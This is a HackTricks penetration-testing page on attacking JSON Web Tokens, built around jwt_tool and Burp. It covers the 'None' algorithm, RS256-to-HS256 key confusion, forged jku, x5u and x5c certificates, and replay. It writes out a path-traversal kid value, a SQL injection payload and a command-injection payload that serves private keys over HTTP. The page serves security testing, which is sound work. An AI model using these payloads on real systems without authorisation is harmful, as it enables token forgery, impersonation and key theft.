Search K
Appearance
Appearance
Other ways to support HackTricks:
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Part of this post is based in the awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Run jwt_tool with mode All Tests!
and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
If you are lucky the tool will find some case where the web application is incorrectly checking the JWT:
Then, you can search the request in your proxy or dump the used JWT for that request using jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example.
To check if a JWT's signature is being verified:
It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history.
Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it.
Set the algorithm used as "None" and remove the signature part.
Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None").
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
This can be done with the "JSON Web Tokens" Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).
The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
jwt_tool
for this process, it's crucial to update the jwtconf.ini
file with your personal JWKS location to facilitate the testing.jwt_tool
: Execute the following command to simulate the scenario with jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
An optional header claim known as kid
is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.
When the kid
claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if "kid":"key/12345"
is specified, the files /key/12345 and /key/12345.pem should be searched for in the web root.
The kid
claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the kid
value to target specific files or services. Tampering with the JWT to change the kid
value while retaining the original signature can be achieved using the -T
flag in jwt_tool, as demonstrated below:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER
, for JWT signing.
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
jku stands for JWK Set URL.
If the token uses a โjkuโ Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.
You can obtain the parametes "e" and "n" from a public certificate using:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.
Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.
To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
You can also abuse both of these vulns for SSRFs.
This parameter may contain the certificate in base64:
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the "x5c" parameterโs value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
If the JWT has embedded a public key like in the following scenario:
Using the following nodejs script it's possible to generate a public key from that data:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="โANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"โ;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
It's possible to generate a new private/public key, embeded the new public key inside the token and use it to generate a new signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
You can obtain the "n" and "e" using this nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
Expiry Check of Tokens
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool's -R flag.
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Other ways to support HackTricks: